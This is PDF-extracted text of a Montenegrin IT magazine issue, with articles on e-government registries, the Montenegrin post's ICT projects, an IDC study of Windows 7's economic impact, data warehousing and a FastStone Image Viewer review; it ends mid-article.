Ciljevi do 2013. godineU Evropi se napredak u pružanju online usluga mjeri složenim in-dikatorom koji se temelji na online ispitivanju osnovnih usluga, gdjese u obzir uzimaju samo one usluge koje dostižu najveći nivo inter-akcije.Nivo implementacije ovih usluga, tj. stepen interaktivnosti usluge,mjeri se skalom od 4 nivoa:

Prvi nivo – nivo informacije: pružanje online informacija ojavno dostupnoj usluzi;

Drugi nivo – interakcija: preuzimanje obrazaca i formulara; Treći nivo – dvosmjerna interakcija: obrada obrazaca,

uključujući autentifikaciju; Četvrti nivo – transakcija: vođenje procesa, odlučivanje i

izvršavanje (plaćanje za uslugu).

Najveći dio registara i javnih baza podataka u Crnoj Gori nalazi sena prvom nivou interaktivnosti. Neke od usluga zbog zahtjeva o sig-urnosti ne mogu biti potpuno interaktivne (npr. izdavanje ličnekarte i pasoša). Usluge koje zahtijevaju plaćanje mogu se imple-mentirati tek kada zažive metodi elektronskog plaćanja.Sva ministarstva, sekretarijati i agencije moraju imati operativneweb sajtove sa ažurnim informacijama, formularima i obavješten-jima kao i linkovima ka drugim korisnim sajtovima. Na taj način,novi materijali će se objavljivati elektronski na sajtu istovremenokada se objave primjenom tradicionalnih metoda. Elektronskapošta mora biti uobičajeni način komunikacije za sva ministarstva,sekretarijate i agencije. Da bi se to postiglo, Vlada Crne Gore ćeusvojiti standarde za oblik sadržaja i prezentacije za web sajtove.Pored toga, predvidjeće se standardi kvaliteta za javne servise,

Registri


10 strana

Usluge građanima i poslovnim subjektima će biti dostupne 7/24

koji god kanal da preferirajuGrađanima i preduzećima će

se omogućiti pristup svim informacijama koje su im potrebne,

na jednom mjestu

Mr Tamara Đuričković


uključujući obezbjeđivanje pristupa građanima sa posebnim potre-bama. Koncept uspostavljanja registara će biti centralizovanost i jedinstvenost. Namjera Vlade Crne Gore je da uspostavi sistem koji ćeomogućiti unosi podataka na mjestu nastanka i pri čemu će se on-line prenosom skladištiti u centralizovane baze podataka, čime ćese omogućiti i trenutna ažurnost podataka. U tom smislu, kreiraćese i unaprijediti registri kao što su:

- Registri građanskih stanja – obuhvata registar rođenih,registar državljana, registar umrlih i registar vjenčanih.

- Registar boravišta – obuhvata podatke o svim kategori-jama fizičkih lica koja nijesu crnogorski državljani a boraveu Crnoj Gori.

- Centralni registar stanovništva – obuhvata podatke ocrnogorskim državljanima i strancima sa stalnim ili privre-menim nastanjenjem u Crnoj Gori.

- Registar učenika, škola izaposlenih u školama -projekat MEIS (MontegrinEducational InformationSystem) predviđa potpunuinteraktivnost u domenuevidencije podataka oučenicima, školama i za-poslenima u obrazovniminstitucijama do nivoa vi-sokog obrazovanja, uljuču-jući i prelazak iz nižeg uviši razred i uvid u ocjeneučenika.

- Prijava na konkurs za upisu visokobrazovnu instituciju će se obavljati povezivanjemuniverzitetskih sistema, MEIS-a i podataka iz Ispitnog cen-tra Crne Gore.

- Evidencija prijava policiji – biće uspostavljen sistem za on-line prijavu građana u slučajevima kada im je potrebnapomoć Policije (krađa, nasilje u porodici...) kao i praćenjepostupanja Policije istom sistemu.

- Kaznena evidencija – obuhvata podatke o pravosnažno os-uđenim licima na kaznu zatvora dužu od tri mjeseca.

- Registar založnih prava na pokretnu imovinu, dionica i ud-jela u preduzećima - predmet pokretnog zaloga mogu bitistvari, oprema, automobili, roba, plemeniti metali i drugošto banka prihvati. Građani će ubuduće prilikom kupovineautomobila ili neke druge pokretne imovine, moći u reg-istru provjeriti da li je automobil ranije založen kao garan-cija nekog plaćanja. Registar će omogućiti sljedeće usluge:zahtjev za upis založnog prava, zahtjev za izmjene i dop-une podataka o upisanom založnom pravu, zahtjev za upisili brisanje evidencije spora i zahtjev za brisanje založnogprava iz registra. Ovaj registar može se smatrati nadograd-njom javnog kreditnog registra.

- Javne biblioteke – razvoj univerzalnog sistema kojiomogućava pretraživanje sadržaja/kataloga i pristup iliuvid u sadržaj.

- Poljoprivredni registri – implementacijom ovih registaraomogućeće se neke od sljedećih usluga: dobijanje rješenjaiz područja veterine, podnošenje zahtjeva za kredit, pri-java za dobijanje podsticaja, upis u evidencije ekološkihproizvođača i poljoprivrednih dobara.

- Kreditni biro i javni kreditni registar – evidencija kreditnihzaduženja građana i privrednih subjekata. U nekimdržavama u okviru kreditnog biroa vodi se ne samozaduženost kod poslovnih banaka već se evidentiraju

plaćanje komunalnih usluga, električne energije i drugihobaveza. Namjera je za svakog građanina uvesti usluguprovjere kreditne zaduženosti.

- Registar naučnih institucija, kadrova i projekata – objedin-javanje univerzitetskih registara i podataka o naučnim us-tanovama na nivou države.

- Registri Fonda PIO – registar lica korisnika penziono-in-validskog osiguranja (prva faza), spisak online usluga trebada sadrži: podnošenje zahtjeva za penziju (starosnu, pri-jevremenu, invalidsku, porodičnu), podnošenje zahtjeva zautvrđivanje staža, prijavu i odjavu zaposlenih u sistemuobaveznog penzionog osiguranja (druga faza).

- Registar osiguranika za drugi stub penzijskog osiguranja –otvaranje drugog (i potencijalno trećeg) stuba penzijskogosiguranja zahtijeva evidentiranje svih korisnika koji ko-riste takav vid osiguranja. Usluge uključuju prijavljivanje uneki od fondova, provjeru uplata i stanje računa osigu-ranika.

- Registri vezani za pravosuđe – Integrirani informacioni sis-tem za upravljanje sudskim odlukama,mreža sudija, sudska praksa i sl.- Evidencija upotrebe ličnih podatka – sadrži

podatke o tome ko je, kada i u koje svrhekoristio čije lične podatke. -Evidencija ćebiti urađena u skladu sa Zakonom o zaštitiličnih podataka.

- Porezi – Poreska uprava će omogućitisljedeće online usluge: prijavu poreza nadohodak (za građane), prijavu poreza nadobit i prijavu poreza na dodatnu vrijed-nost za preduzeća.

- Registar prebivališta – omogućiće onlineprijavu promjene adrese stana, kao i dobi-janja potvrde o prebivalištu.

- Registar nepokretnosti – jedan od ključnih državnih regis-tara. Osnovna namjena je registrovanje sve nepokretneimovine na teritoriji Crne Gore i svih promjena vezanih zanjih, u skladu sa zakonodavstvom Crne Gore, kao i jednos-tavno omogućavanje pristupa državnim institucijama, ko-risnicima i javnosti.

- Registri ličnih dokumenta – omogućiće se sistem za dobi-janje termina za apliciranje za neki od dokumenata i dobi-janje povratne informacije o terminu kada se može podićilični dokument.

- Registracija motornih vozila – cilj je omogućiti podnošenjezahtjeva za registarciju motornog vozila (I faza) i pro-duženje registracije motornog vozila (II faza).

- Registar privrednih subjekata –implementiraće se uslugaprijavljivanja novog poslovnog društva odnosno pre-duzetnika do najvišeg nivoa interaktivnosti.

- Podnošenje podataka MONTSTAT-u – Montstat ćeomogućiti veći online nivo pristupa statistikama i bazamapodataka kao i podnošenje podataka u elektronskoj formi.Baza podataka opština, baza podataka građevinarstva,baza statistike spoljne trgovine, baza poljoprivrede samosu neke od baza koje će biti javno dostupne.

- Registar Zavoda za zapošljavanje – ovaj registar ćeomogućiti prijavljivanje na evidenciju Zavoda za zapošlja-vanje Crne Gore, servise traženja zaposlenja pri biroimarada, podnošenje zahtjeva za dobijanje radne ili poslovnedozvole za stranca, prijavu i odjavu radnika.

Implementacija navedenih registara će se odvijati u tri faze: prvafaza je uspostavljanje registara, druga faza je inicijalni unos podatkai skeniranje postojećih knjiga i treća faza je interaktivna online us-luga.

11strana

Nap

omen

a: Iz

Str

ateg

ije ra

zvoj

a In

form

acio

nog

druš

tva

u Cr

noj G

ori o

d 20

09 –

201

3. g

odin

e

Biti član globalne poštanske porodice,što Pošta Crne Gore jeste od 26. jula2006. godine kada je obnovila svoječlanstvo u Svjetskom poštanskom savezu(SPS), znači, između ostalog, i ispunjenjepoštansko-tehnoloških standarda kojeSPS propisuje i preporučuje zemljamačlanicama. Sa izvršnim direktorom PošteCrne Gore Milanom Martinovićem raz-govarali smo o značaju informacionihtehnologija u procesu dostizanja stan-darda svjetskog poštanskog sistema.

Koliku ulogu u poslovanju Vaše Kompanijeima iCT?

Pošta Crne Gore je razvoj informa-cionih resursa odavno prepoz-nala kao polugu sveukupnograzvoja Kompanije. Našetradicionalno učešće na IN-FOFEST-u najbolji jepokazatelj opredjeljenjaKompanije da kon-tunuirano ulaže u inovi-ranje i unaprjeđenje svoginformacionog sistema. Pošta Crne Gore danas imajednu od najrazuđenijih inajsloženijih računarsko-kompjuterska mreža uzemlji. Na preko 250 au-tomatizovanih šalterskih mjesta in-stalirano je aplikativno rješenje kojeomogućava maksimalnu univerzal-nost. Sistem hardverske i softverskezaštite informacionog sistema i infor-matičko-komunikacione struktureima izuzetnu pouzdanost. Samo uposljednje dvije godine značajnosmo unaprijedili šaltersku aplikacijunovim modulima koji omogućavajuidentifikaciju pošiljki (bar kod), regis-traciju pripejd korisnika zaPromonte, elektronsku razmjenudokumenata sa kompanijom West-ern Union, elektronsku dopunuM:TEL... Izmijenjena je telegrafskaaplikacija i uspostavljena direktna ko-munikacija sa međunarodnim prova-jderom za telegrame (UNITEL-UTOS).

Šta je Pošta Crne Gore uradila na putu dostizanja svjetskih poštan-skih standarda?

Realizacijom nekoliko projekata (Track&Trace, IPS, međunarodni sis-tem za uputnički promet, EMS) Pošta Crne Gore obezbijedila jemjesto pouzdanog i modernog poštanskog operatora na karti sv-jetske poštanske porodice i svojim korisnicima omogućila kvalitetan iefikasan servis.

Koliko je ICT bitan za realizaciju razvojnih poštanskih pro-jekata?

Ostvarivanje standarda prema kojem funkcioniše najvećidio evropskog i svjetskog poštanskog sistema zahtijeva

kadrovske, tehnološke i, posebno, informa-cione kapacitete poštanskog opera-

tora. Jednostavno, bez moćnoginformacionog sistema i njegovogstalnog unaprjeđivanja realizacijaprojekata koji nas čine puno-pravnim i odgovornim članomevropskih i svjetskih poštanskihudruženja ne bi bila moguća.Krajem ovog mjeseca završena jeimplementaciona misija Svjetskogpoštanskog saveza u Pošti CrneGore čiji je cilj bio realizacija pro-

jekta IPS koji omogućavaelektronsko praćenjepošiljaka u međunarod-nom saobraćaju. Ovim jePošta Crne Gore

zaokružila tehnološku cjelinu elektronskogpraćenja pošiljki na svim destinacijama.

Podsjetimo, sistem za elektronsko praćenjepošiljki u unutrašnjem saobraćaju Track & Trace,koji je Pošta Crne Gore pustila u rad 18. maja2009. godine, korisnicima poštanskih uslugaomogućava da u svakom trenutku, preko Inter-net sajta Kompanije, dobiju informaciju o sta-tusu svoje pošiljke. Sistem Track & Traceoznačava, prati, identifikuje i locira pošiljku u re-alnom vremenu, na osnovu bar-kod-a pošiljke. Status pošiljke korisnik može provjeriti na sajtuPošte Crne Gore (www.postacg.me) jednos-tavnim ukucavanjem bar-kod-a.

Poštin redizajnirani sajt u potpunosti je pri-lagođen korisniku i u funkciji pravovremenog in-formisanja svih koji koriste poštanske usluge. Na


Izvršni direktor Pošte Crne Gore Milan Martinović o razvojnim projektima Kompanije

Informacione tehnologije istandardi Svjetskog poštanskogsaveza u Pošti Crne Gore

Krajem ovog mjesecazavršena je imple-mentaciona misija Sv-jetskog poštanskogsaveza u Pošti CrneGore čiji je cilj bio re-alizacija projekta IPSkoji omogućava elek-tronsko praćenjepošiljki u međunarod-nom saobraćaju.Ovim je Pošta CrneGore zaokružilatehnološku cjelinuelektronskog praćenjapošiljki na svim desti-nacijama, kaže Izvršnidirektor crnogorskepoštanske Kompanije

ICT u funkciji podrške projektima društvenoodgovornog poslovanja

Martinović ističe da Pošta Crne Gore, kao odgov-oran i nezaobilazan dio društvene zajednice, težida sve svoje razvojne projekte uskladi sa general-nim principima društveno odgovornog poslo-vanja, te da ICT predstavlja važnu podršku i uovoj oblasti. Kao primjer, Martinović navodi da jePošta Crne Gore član Programa redukcije gasova sa efektom staklene bašte (Greenhome Gas Re-duction Program) koji je juna 2007. godinepokrenula Asocijacija evropskih poštanskih oper-atora PostEurop. - Cilj Programa je umanjenje emisije CO2 za 10%.Protokol, kojim je definisana zajedničkametodologija mjerenja i sakupljanja podatakaemisije gasova za sve članice Programa, računa, uznačajnoj mjeri, na ICT podršku. Ovo govori uprilog našem stavu da ne postoji razvojni korak ubilo kojem segmentu poslovanja i djelovanja kojije zamisliv bez inoviranog i snažnog informa-cionog sistema.

stranicama sajta dostupan je opis svih naših us-luga, cjenovnici, aktuelna dešavanja, projekti,filatelistička izdanja…, a uskoro će biti dostupan iodređeni set usluga u elektronskom poslovanju

Koliko dobro primijenjen ICT utiče na dostavu?

ICT primijenjen na adekvatan način ima velikiznačaj u obezbjeđenju visokog kvaliteta dostave.

Naime, informacione tehnologije omogućavajubrzu i pouzdanu dostavu, znatno jednostavnijutehnološku obradu i umanjenje manipulativnihtroškova. Track & Trace i IPS, pored ostalog,posebno u kombinaciji sa ponudom Poštinih eks-press usluga, predstavljaju garanciju pouzdanosti ipoštovanja rokova uručenja. Pošta je, uvođen-jem exspress usluga, ponudila dostavu upropisanim i garantovanim rokovima, a imple-mentacijom sistema za elektonsko praćenje koris-nicima dala mogućnost da kontrolišu čitav “put”svoje pošiljke.

Odnedavno, korisnici usluga imaju mogućnost dakoriste i EMS uslugu, tj. uručenje pošiljaka brzepošte u međunarodnom poštanskom saobraćaju.Ovo je usluga kojom se obezbjeđuje najbrži pri-jem, prenos i uručenje poštanskih pošiljaka umeđunarodnom poštanskom saobraćaju.


13strana

Elektronska poštanska uputnicaPošta Crne Gore će uskoro pustiti u radnovi sistem za uputnički transfer novca.Sistem je koncipiran po najsavremenijimstandardima u ovoj oblasti i korisnicimaće omogućiti brzu i kvalitetnu uslugutransfera novca u zemlji i inostranstvu,naglašava Martinović.On je objasnio da je riječ o elektronskojpoštanskoj uputnici (EPU), čije uvođenjeznačajno unaprjeđuje ponudu Pošte CrneGore, posebno u međunarodnom sao-braćaju otvaranjem mogućnosti transferanovca, kao i plaćanja otkupnih pošiljaka.

Ekonomski uticaj operativnog sistema Windows 7 na IT sektor

Inovacije u IT sektoru stvaraju radna mjesta i pružaju prilike. Širom svijeta,dešavanja u privrednom sektoru u posljednjih 50 godina pokazuju da su IT in-ovacije ključ za dugoročni rast. IT inovacije mogu dati i važan doprinosekonomskom oporavku zemalja. Osim toga, inovacije mogu pomoći društvu urješavanju svakodnevnih problema, bilo da je u pitanju zdravstvena zaštita,obrazovanje ili okolina.

Microsoft je angažovao IDC da sprovede studiju ekonomskog uticaja Win-dows 7 operativnog sistema (W7) na IT sektor, za period od njegovog objavlji-vanja u oktobru 2009. godine do kraja 2010. Studija ispituje podatke kao što su prihodi za partnerski ekosistem, poslovi uvezi sa Windows 7, nova radna mjesta koja će biti otvorena zahvaljujući ovomoperativnom sistemu i očekivanja za IT industriju u 2010. godini. Sve prom-jene u IT industriji, izazvane upotrebom W7 operativnog sistema, ćeomogućiti ekonomijama širom svijeta da se izbore sa trenutnom ekonom-skom krizom i obezbijede dugoročni rast.

Windows 7 operativni sistem, koji je nasljed-nik Windows Viste objavljene u 2006. godini,postaće komercijalno dostupan u oktobru2009. godine. IDC prognozira da će 177 mil-iona jedinica W7 biti isporučeno do kraja2010. Pokretanje novog operativnog sistemaza Microsoft je od velikog značaja. Međutim,novi OS će značajno uticati i na druge, u smislupovećanja prihoda i rasta mnogih IT kompanijau svijetu koje prodaju hardver, bave seproizvodnjom softverskih rješenja, pružaju ITusluge ili služe kao IT distributivni kanali. Ovaj rast će, zasigurno, pomoćiprivrednom sektoru da prevaziđe nedostatke i gubitke prouzrokovaneekonomskim stanjem u svijetu.

IDC istraživanje pokazuje da:

Do kraja 2010. godine, više od 7 miliona ljudi u IT industriji širom svijeta ćeraditi na operativnom sistemu Windows 7, što je 19% od ukupne svjetske ITradne snage. Preko 350.000 IT firmi koje proizvode, prodaju ili distribuirajuproizvode ili usluge, a rade na operativnom sistemu Windows 7, će zaposlitioko 3 miliona radnika, dok će dodatnih 4 miliona radnika biti zaposleno u fir-mama koje koriste IT usluge.

Na svaki dolar Microsoftovog prihoda od novog operativnog sistema, od nje-govog objavljivanja do kraja 2010. godine, Microsoftov partnerski kanal ćegenerisati prihod od oko 18.50 dolara. Tokom tog perioda, prihodi Microsoft-ovih partnera od proizvoda i usluga povezanih sa Windows 7 operativnim sis-temom, iznosiće oko 320 milijardi dolara.Da bi ostvarile te prihode, očekuje se da će kompanije Microsoftovog glob-

alnog partnerskog ekosistema uložiti gotovo 115 milijardi dolara do kraja2010. godine, na razvoj, marketing i podršku proizvoda i usluga, izgrađenihoko Windows 7.IDC očekuje da će isporuke Windows 7 porasti sa 40 miliona u 2009. godini,na 272 miliona u 2013.Microsoftov novi talas inovacija, pod imenom „The New Efficiency“, koji seplanira za jesen 2009. godine, pored objavljivanja Windows 7 operativnogsistema, uključuje i objavljivanje proizvoda Windows Server 2008 R2 i Ex-change Server 2010.

10

10

10

00

0101010100

11110101010010110101

0000101010100

111101010100101 1

010100001

01010100

111101010100101 0

00101010100

111101010100101

U ovom vremenu borbe za svakog korisnika, menadžeri se sve češćepitaju kako firma posluje, zašto tako posluje i kako bi trebala daposluje. Brzina dolaska do kvalitetnog (tačnog i pravilno prikazanog)odgovora na ova pitanja je nevjerovatno bitna, jer se time pozitivnoutiče na efektivnost, koja zavisi od kvaliteta odluka baziranih nakvalitetu informacija dostupnih u vrijeme donošenja odluka. Odlukedonešene bez strateških informacija i planiranja su praktično os-uđene na propast. Vrijednost današnjeg menadžmenta se oslikava uupravljanju nesigurnostima, i za uspješno hvatanje u koštac sa njimasu nam potrebni neki novi sistemi. Nesigurnost je jaz između potreb-nih i postojećih informacija za ostvarenje nekog zadatka, i smanji-vanje ovoga jaza pomoću informacionih tehnologija, koje danasimamo, počinje sa isporukom kvalitetnih informacija u vidu istorijskihili trenutnih podataka.Na početku su postojali jednostavni informacioni sistemi. Zatim su tisistemi izrasli u aplikacije. Ubrzo smo imali punoaplikacija. Pojavile su se baze podataka. Sadaimamo još i online transakcije i online ap-likacije. Kako vrijeme prolazi aplikacijese gomilaju, kompanije se udružuju, ažeđ za novim aplikacijama ne jenjava. Tako,prije nego smo postali svjesni toga, sazna-jemo da imamo aplikaciju za svaki seg-ment biznisa, a samim tim i velikukoličinu podataka.Najčešća pojava je da postojeće ap-likacije imaju podatke ali je veoma teškoizvući informacije iz njih. Razlozi takovogstanja su:

Neintegrisanosti: Jedna ap-likacija vidi korisnika, transak-ciju i proizvođača na jedannačin. Druga aplikacija vidi koris-nika, transakciju i proizvođača na drugi način. I tako dok imaaplikacija sa informacijama o korisniklu, transakcijama iprouzvođačima. Kada je izražena želja da se na nivou kom-panije vidi ko su njeni korisnici, transakcije i prozvođači došlismo do nerješivog problema jer svaka aplikacija ima svojujedinstvenu interpretaciju.

Postojanja samo trenutnih informacija: Dugo vremena se naistorijske podatke gledalo kao na nepotrebno opterećenjetransakcionih sistema, pa su se, čim prije, brisali kako ne binarušavali njihove performanse. Jedan i jedinstveni fokus ap-likacija su trenutni podaci. Aplikacija vam može reći koje jedanašnje stanje na bankovnom računu ili šta smo danas pro-dali i nabavili. Ali aplikacija vam ne može reći koje je pros-ječno stanje bankovnog računa, prodaje ili nabavke zaprethodnu godinu, iako su svi podaci prošli kroz tu istu ap-likaciju. Jednostavno, aplikacije su ignorisale istoriju jer pro-gramerima nije na vrijeme postavljen zahtjev da postojipotreba za njima, a sa druge strane su istorijski podaci bremekoje je ugrožavalo performanse aplikacija.

Teškoće pristupa informacijama: Aplikacije su pravljene takoda obezbijede efikasnost poslovanja što podrazumijeva brzurealizaciju transakcija i njihovo smještanje u što kompaktni-jem prostoru. Ovakav pristup dizajnu aplikacija je najmanjepogodovao mogućnosti pristupa i analize podataka u njima.Krajnji korisnici su trebali žestoko da se namuče kako bi došlido potrebnih informacija.Dakle, doći do pravih informacija nije lak posao jer se podacinalaze svuda a među njima je potrebno razdvojiti potrebneod nepotrebnih, tačne od netačnih, i sve to integrisati u sis-tem koji će dati pravovremenu i tačnu informaciju u pravomobliku i na pravom mjestu. U svijetlu ovih činjenica su nastalisistemi za podršku odlučivanju kao što su Skladišta Podataka(Data Warehouse) i Poslovna Inteligencija (Business Intelli-gence) koji su prepoznali potrebu za integracijom podataka,

za istorijskim podacima i za smještanjem podataka uobliku koji je pogodan za analizu i pretraživanje.

Glavna uloga ovih sistema je je da budu jedin-stvena “tačka istine” koja sadrži po-datke iz različitih izvora (aplikacija,fajlova, eksternih izvora ...) kako bi svioni kojima trebaju na lak način došlido kvalitetnih i integrisanih podataka ina taj način krenuli u misiju pret-varanja podataka u informacije.

Univerzalno prihvaćena definicija DataWarehouse-a izvedena 1980. godineod strane Bill Inmon – a je da je to:“subjektno orjentisan, integrisan, vre-

menski zavisan i nepromjenjiv skuppodataka koji se koristi kao po-drška strateškom donošenju od-luka”

Integrisan: Omogućava jedinstven i sadržajan izvor informa-cija za i o biznisu tj. odgovor na neko biznis pitanje ne po-drazumijeva pristupanje podacima kod više izvora narazličitim platformama sa potencijalno nekonzistentnim po-dacima.

Subjektno orjentisan: Podaci i informacije su organizovani iprezentovani kao biznis subjekti (korisnik, proizvod, prodajaili neki drugi pojam iz poslovanja) u skladu sa potrebnim in-formacijama, a ne kao kompjuterski sistemi dizajnirani zaprocesiranje transakcija.

Vremenski zavisan: Sadrži i trenutne i istorisjke informacije obiznisu, koje su konzistentne u odnosu na vrijeme i nad ko-jima se mogu raditi i veoma specifične analize kao što je anal-iza trenda.

Nepromjenjiv: Informacija u ovakvim sistemima je stabilna inepromjenjiva tj. ne može se mijenjati od strane korisnika.


Sistemi za podrškuodlučivanju

Ivica Tatarizvršni direktor firme Poslovna Inteligencija d.o.o

[email protected]

Ono što su dodatne prednosti sistema za po-dršku odlučivanju su:

Laka dostupnost: Primarna uloga ovihsistema je da pruže lak pristup do infor-macija poslovnim korisnicima. Podaci suorganizovani tako da im je lako pristupiti,čime se skraćuje vrijeme dolaska do in-formacija pa poslovni korisnici nemoraju da troše više vremena napronalaženju podataka nego na stvarnojanalizi (što bi trebao biti njihov posao)podataka.

Ispunjava potrebe biznisa za informaci-jama: Poslovni korisnici najčešće kažu:“Daj mi podatke koje tražim, pa ću tionda reći što mi stvarno treba”. Ovo jepotpuno prirodna stvar jer poslovni ko-risnici i analitičari rade po principu is-traživanja, a ovi sistemi im omogućavajuda rade različite manipulacije i analize sapodacima kako bi dobili odgovore nasvoja pitanja.

Poslovna inteligencija i skladištenje podataka ni-jesu tako nove metodologije kao što se može naprvi pogled učiniti, ali njihova primjena nije bilačesta sve do 90-ih godina prošloga vijeka. Ako bipokušali nabrojati neke od razloga za to, onda bito definitivno bili:

Hardverski resursi: Za obrađivanje i sm-ještanje količine podataka (mjeri se u ter-abajtima) koja je potrebna za analizu iizvještavanje su potrebni hardverski sis-temi sa velikim disk prostorom i proce-sorskom snagom. Tek sa naglim razvojemserverskih sistema u 90-im godinama sis-temi za podršku odlučivanju su postalijeftiniji i dostupniji sve većem broju ko-risnika.Pojava Interneta: Internet je umnogomepomogao da se razriješi misterija zvanaračunar kod poslovnih korisnika, i sad ihaktivno koriste u svakodnevnom životu.Samim tim su se i sistemi za podršku od-lučivanju razvijali da budu jednostavni isofisticirani, što je dovelo do njihoveširoke upotrebe od strane poslovnih ko-risnika i menadžera.

Na kraju, mislim da će sistemi za podršku odluči-vanju napraviti (ili su već napravili) još jedankorak naprijed u saradnji poslovnih i IT korisnika.Realizacija ovih projekata stvara sinergiju u kojojIT korisnici moraju da razumiju način poslovanja,a poslovni korisnici su oni koji definišu potrebe ikoji na kraju koriste ove računarske sistemezarad uspješnog obavljanja posla.


Potrebni podaci:

Ime i Prezime

Naziv preduzeća (nije potrebno za fizička lica)

PIB (samo za pravna lica)

Vrsta pretplate (flzlčko ili pravno lice)

Kompletna adresa (ulica i broj, grad, poštanski broj)

Pravna lica se mogu pretplatiti na više korisnika(potrebno je navesti imena osoba kome su namijenjeni).

Cijena pretplate za inostranstvo se obračunava po zahtjevu!!!Pretplata počinje nakon izvršene uplate!!!

Trajanje pretplate (6 ili 12 mjeseci)

Koliko iznosi pretplata?Cijena pretplate za Crnu Goru sa uračunatim PTT troškovima

6 meseci pravna lica - 15€ (po korisniku)6 mjeseci fizička lica - 10€12 mjeseci pravna lica - 30€ (po korisniku)12 mjeseci fizička lica 20€

Pretplatite se i obezbijedite svoj primjerak!!!

Pretplata je najsigurniji i najlakši put doVašeg primjerka “Bit”-a. Svaki primjerak šaljemoputem usluga Pošte Crne Gore naadresu koju navedete.

Kako se pretplatiti?

Telefon: E-mail: Adresa: Biznis inkubator020 272 816 [email protected] II crnogorskog bataljona A8

81000 Podgorica #

Telefon

Mobilni

Fax

e-mail

br. primjeraka


Freeware softver je već dugo vremena najpopularniji oblik dis-tribucije programskih alata razne namjene. Razlog je jednosta-van i tiče se isključivo novca kojeg se, sem u određenimslučajevima i posebnim uslovima, nije potrebno lišiti zarad ko-rišćenja ovakvog tipa alata, nauštrb performansi. Razumljivo,kod nas je ovakav softver bez premca u zastupljenosti. Praksuopisivanja besplatnih aplikacija nastavljamo i u ovom broju.Nakon Defragglera (Bit broj 35-36) i SIW-a (Bit br. 37), na testuse ovog puta nalazi FastStone ImageViewer, punokrvni pred-stavnik navedenog žanra.

FastStone se prvi put pojavio na tržištu 2004. godine, kao jedaniz opusa proizvoda tada malo poznate softverske kuće Fast-Stone Soft. Pet godina kasnije, FastStone Soft slovi za ozbiljnu,kompleksnu i uspješnu firmu na prepunom tržištu softverskihaplikacija. Slična priča važi i za ImageViewer. U početku jednos-

tavan i malo koristan program ograničene namjene,Image Viewer izrastao je u jednog od najuspješnijih alataovog tipa i pravi je primjer kako se trudom, posvećenošćui profesionalizmom iz lokalnih okvira može dostići globalnirenome.

FastStone ImageViewer (u daljem tekstu FSIW) je programskialat namjenjen pregledu, sortiranju i obradi fotografija. Poredtoga, prisutan je čitav spektar dodatnih mogućnosti i opcija, ko-risnih u manjoj ili većoj mjeri. Distribucija fotografija, koju re-cenzije sporadično navode, prije je marketinška fraza, negonešto što ima potporu u samom alatu, iz prostog razloga što tajvid operacije nije moguće izvršiti bez pomoćnih programadruge namjene. Sortiranje fotografija je izvršeno na jednosta-van i logičan način i korisniku pruža maksimalno olakšan uvid upostojeći materijal. Pored pregleda fotografija na harddiskovima, dotična operacija omogućena je i kada su u pitanjuprenosni uređaji, poput USB fleš uređaja, memorijskih kartica ili

prenosnih hard diskova. Pristup prostoru sa fotografijamaveoma je jednostavan zahvaljujući sjajno osmišljenom startnomprozoru programa (onom koji se prikazuje na ekranu nakonpokretanja). Površina startne strane podjeljena je na dva dijela,lijevi, koji sadrži stablo svih direktorijuma, foldera i fajlova naračunaru, i desni, na kojem se prikazuje sadržaj svakog od njih.Fotografije je moguće sortirati na osnovu više obrazaca i kate-gorija. Prisutni su i klasični pogledi, poput Thumbnailsa, SmallIcona i Report View-a.

Ono po čemu se FSIW izdvaja u moru sličnih programa jesteoriginalni način obrade fotografija. Dvoklikom na izabrani fajlprogram automatski prelazi u Full Screen režim, gdje genijalnoosmišljeni interfejs dolazi do punog izražaja. Prelaskom kursorapreko ivica ekrana izlaze pomoćni prozori koji sadrže pregršt op-cija za manipulaciju parametrima svake fotografije.

Pored standardnih alata, poput uklanjanja crvenihočiju (Red Eye Removal) i «kropovanja», tu su i nekemanje zastupljene opcije tipa poput prikazivanja his-tograma, Frame alata, koji donosi sijaset predefin-isanih okvira za fotografije, od klasičnih okruglih,kockastih i izuvijanih, do raznih varijacija na temupoput srca, lista ili elipse.

Mogućnosti za eksperimentisanje zaista suneograničene. Od zanimljivijih alatki istakli bismoSmooth/Blur efekat, sa kojim je moguće postićiizuzetne rezultate, budući da je pomjeranjem klizača

omogućeno u istovrijeme i preciznopodešavanje i brza idrstična promjena iz-gleda.

Tu je i Slideshowalatka, koja, kakosamo ime kaže,omogućava linearnosmjenjivanje defin-

isanih slika na ekranu, uz mogućnost prethodnog dodavanjanekoliko opcionih efekata, mahom vezanih za ublažavanjaprelaza između slika i dodavanja multimedijalne note samomslajdu. Fotografije je u svakom trenutku moguće proslijediti naštampanje, gdje propratni softver preuzima sav posao od koris-nika.

FastStone Image Viewer je zasigurno u vrhu programskih alataza pregled i obradu fotografija. Desetine pozitivnih recenzija na-jvećih svjetskih magazina i specijalizovanih sajtova ne ostavljajumjesta sumnji u tačnost ove izjave. Lak i intuitivan interfejs,gomila raznih alatki na jednom mjestu i detaljan Help dio (saopcijom downloada tutorijala sa interneta) kap su u moru pozi-tivnih osobina ImageViewera. Uostalom, desetine hiljada zado-voljnih korisnika širom svijeta najbolji su garant njegovogkvaliteta.

FastStone ImageViewer 3.9DimitrijeDrašković


17strana

STALNA težnja ka što kvalitetnijem prikazu slike, potom skoro pot-puna zamjena CRT-a sa LCD-om i ostalim novim displej tehnologijamai pojačani zahtjevi za zaštitom materijala koji se prikazuju, dovode dotoga da se mijenjaju i standardi povezivanja (interfejs) među raču-narom i monitorom.Iako će računari još neko vrijeme koristiti analognu konekciju (VGAinterfejs) sasvim je sigurno da je budućnost u potpuno digitalizo-vanim interfejsima kao što su DVI, HDMI i DisplayPort.DisplayPort je najnoviji standard i zamišljen je da bude i eksterni i in-terni interfejs ali o ovoj drugoj namjeni govorićemo nekom drugomprilikom.

DVI interfejs je zamišljen da u nekim primjenama pored digitalnih sig-nala prenosi i analogne signale, pa tako imamo dvije vrste tkz. DVI-I(digitalni) i DVI-A (analogni+digitalni). Odnedavno potrošačka audio/video HDTV oprema prelazi sa

